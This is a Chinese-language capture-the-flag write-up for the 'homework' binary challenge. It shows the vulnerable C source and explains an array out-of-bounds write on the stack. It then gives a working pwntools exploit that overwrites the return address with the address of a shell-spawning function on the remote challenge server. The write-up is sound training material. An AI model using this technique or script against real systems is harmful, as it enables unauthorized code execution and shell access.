homework writeup

题目:homework (hackme.inndy.tw)
hint: Index out bound ,return address ,并且给了程序源码
题目防护机制:

image.png

开启了NX和Canary
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>  
#include <stdlib.h>
#include <unistd.h>

char name[1024];

void call_me_maybe()
{
system("/bin/sh");
}

void unbuffer_io()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}

void set_timeout()
{
alarm(120);
}

void ask_name()
{
printf("What's your name? ");
gets(name);
}

void say_goodbye()
{
printf("Goodbye, %s\n", name);
}

void run_program()
{
int arr[10], i, v, act;

for(i = 0; i < 10; i++)
arr[i] = 0;

while(1) {
puts("0 > exit");
puts("1 > edit number");
puts("2 > show number");
puts("3 > sum");
puts("4 > dump all numbers");
printf(" > ");
scanf("%d", &act);

switch(act) {
case 0:
return;
case 1:
printf("Index to edit: ");
scanf("%d", &i);
printf("How many? ");
scanf("%d", &v);
arr[i] = v;
break;
case 2:
printf("Index to show: ");
scanf("%d", &i);
printf("arr[%d] is %d\n", i, arr[i]);
break;
case 3:
v = 0;
for(i = 0; i < 10; i++)
v += arr[i];
printf("Sum is %d\n", v);
break;
case 4:
for(i = 0; i < 10; i++)
printf("arr[%d] is %d\n", i, arr[i]);
break;
}
}
}

int main()
{
set_timeout();
unbuffer_io();
ask_name();
run_program();
say_goodbye();
return 0;
}

通过阅读它的源码可以发现它对数组的下标没有很好的限制,我们可以通过输入一个数组下标和值来改表数组的值,如果输入的数组下标超出了程序数组的大小,就可以改写内存中的值。同时,它程序中存在system函数,结合题目的hint可以推断出这是一个数组下标溢出题,通过下标溢出,将返回地址覆盖成system函数来获取shell

数组下标溢出原理:因为c语言不会检测数组下标,所以如果我们给数组一个超出它大小的下标,就会照成数组越界。如果是想数组中写入数据的话,就会造成数据写入到不属于数组的地方,或者说如果读取数据的话,就会读取到别的地方的数据。
因为数组地址是自低往高增长,而栈的地址是自高向下降低,所以如果我们将数组下标根据栈内的空间的分布,设置为特定的值,就可以修改或者是查看我们想要查看的地址的值。比如将返回地址设置成我们想要调用函数的地址。

具体可以参考这篇博客

所以只要找到返回地址对应着数组的位置是什么,再通过edit功能将返回地址修改为system函数的地址来获取shell

image.png

数组在栈中的位置是0x34,和返回地址的距离是0x34+8
所以输入的数组下标为14

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*  
context.log_level="debug"
#p = process('./homework')
p = remote('hackme.inndy.tw', 7701)
p.recvuntil("What's your name?")
p.sendline('aaaa')

p.recvuntil(" > ")
p.sendline("1")

p.recv()
p.sendline("14")
p.recvuntil("How many?")
p.sendline(str(0x080485fb))
p.recv()
p.sendline("0")#make program return to target function

p.interactive()